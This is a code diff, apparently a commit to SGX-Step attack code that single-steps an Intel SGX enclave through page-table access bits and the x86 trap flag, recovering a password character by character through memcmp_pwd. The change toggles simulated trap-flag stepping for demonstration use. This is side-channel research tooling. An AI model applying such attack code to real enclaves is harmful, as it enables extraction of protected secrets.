15
15
#include <sys/mman.h>
16
16
17
17
#define MAX_LEN 15
18
- #define DO_TIMER_STEP 1
18
+ #define DO_TIMER_STEP 0
19
19
#define DEBUG 0
20
20
#define DBG_ENCL 1
21
21
#if DO_TIMER_STEP
33
33
#warning "Using simulated stepping through HW trap flag; will not work for production enclaves!"
34
34
#endif
35
35
36
+ /*
37
+ * NOTE: set DO_TIMER_STEP=0 to _simulate_ a single-stepping attack through the
38
+ * x86 hardware trap flag (RFLAGS.TF). Use for demonstration/debugging purposes
39
+ * only, as this does _not_ work for SGX debug enclaves(!)
40
+ */
41
+ #if !DO_TIMER_STEP
42
+ #warning "Using simulated stepping through HW trap flag; will not work for production enclaves!"
43
+ #endif
44
+
36
45
sgx_enclave_id_t eid = 0 ;
37
46
int irq_cnt = 0 , do_irq = 0 , fault_cnt = 0 , trigger_cnt = 0 , step_cnt = 0 ;
38
47
uint64_t * pte_encl = NULL , * pte_trigger = NULL , * pmd_encl = NULL ;
@@ -74,7 +83,7 @@ void aep_cb_func(void)
74
83
* referencing the enclave code page about to be executed, so as to be able
75
84
* to filter out "zero-step" results that won't set the accessed bit.
76
85
*/
77
- if (ACCESSED (* pte_encl )) step_cnt ++ ;
86
+ if (do_irq && ACCESSED (* pte_encl )) step_cnt ++ ;
78
87
* pte_encl = MARK_NOT_ACCESSED ( * pte_encl );
79
88
* pte_trigger = MARK_NOT_ACCESSED (* pte_trigger );
80
89
@@ -92,8 +101,6 @@ void aep_cb_func(void)
92
101
* pmd_encl = MARK_NOT_ACCESSED ( * pmd_encl );
93
102
#if DO_TIMER_STEP
94
103
apic_timer_irq ( SGX_STEP_TIMER_INTERVAL );
95
- #else
96
- ENABLE_TF ;
97
104
#endif
98
105
}
99
106
}
@@ -117,6 +124,7 @@ void fault_handler(int signo, siginfo_t * si, void *ctx)
117
124
#endif
118
125
ASSERT (!mprotect (trigger_adrs , 4096 , PROT_READ | PROT_WRITE ));
119
126
do_irq = 1 ;
127
+ sgx_step_do_trap = 1 ;
120
128
}
121
129
else
122
130
{
@@ -130,6 +138,10 @@ void fault_handler(int signo, siginfo_t * si, void *ctx)
130
138
#if DEBUG
131
139
//info("Caught single-step trap (RIP=%p)\n", si->si_addr);
132
140
#endif
141
+
142
+ /* ensure RFLAGS.TF is clear to disable debug single-stepping */
143
+ ucontext_t * uc = (ucontext_t * ) ctx ;
144
+ uc -> uc_mcontext .gregs [REG_EFL ] &= ~0x100 ;
133
145
break ;
134
146
#endif
135
147
@@ -234,6 +246,7 @@ int main( int argc, char **argv )
234
246
for (int j = 0 ; j < pwd_len ; j ++ ) pwd [j ] = '*' ;
235
247
pwd [pwd_len ] = '\0' ;
236
248
do_irq = 0 ; trigger_cnt = 0 , step_cnt = 0 , fault_cnt = 0 ;
249
+ sgx_step_do_trap = 0 ;
237
250
ASSERT (!mprotect (trigger_adrs , 4096 , PROT_NONE ));
238
251
SGX_ASSERT ( memcmp_pwd (eid , & pwd_success , pwd ) );
239
252
@@ -261,6 +274,7 @@ int main( int argc, char **argv )
261
274
{
262
275
pwd [i ] = j ;
263
276
do_irq = 0 ; trigger_cnt = 0 , step_cnt = 0 , fault_cnt = 0 ;
277
+ sgx_step_do_trap = 0 ;
264
278
ASSERT (!mprotect (trigger_adrs , 4096 , PROT_NONE ));
265
279
SGX_ASSERT ( memcmp_pwd (eid , & pwd_success , pwd ) );
266
280
0 commit comments